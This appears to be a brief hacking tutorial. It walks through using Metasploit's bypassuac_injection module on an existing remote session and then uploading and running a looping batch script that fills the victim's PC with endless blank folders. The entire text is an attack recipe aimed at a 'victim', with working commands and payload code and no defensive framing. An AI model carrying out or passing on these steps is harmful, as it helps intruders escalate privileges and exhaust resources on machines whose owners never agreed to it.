Once you had a remote shell with Metasploit all now use the Bypass UAC module, set the session number and exploit it
msf exploit (bypassuac_injection)>set session 1
msf exploit (bypassuac_injection)>exploit
Open leafpad and type the following code.
:loop
md %random%
goto loop
Now save it as a batch file
Now Use the upload command to send Batch File to the target system.
Now type shell to enter into Victims command prompt and execute the batch file. It will create unlimited blank folder in victim pc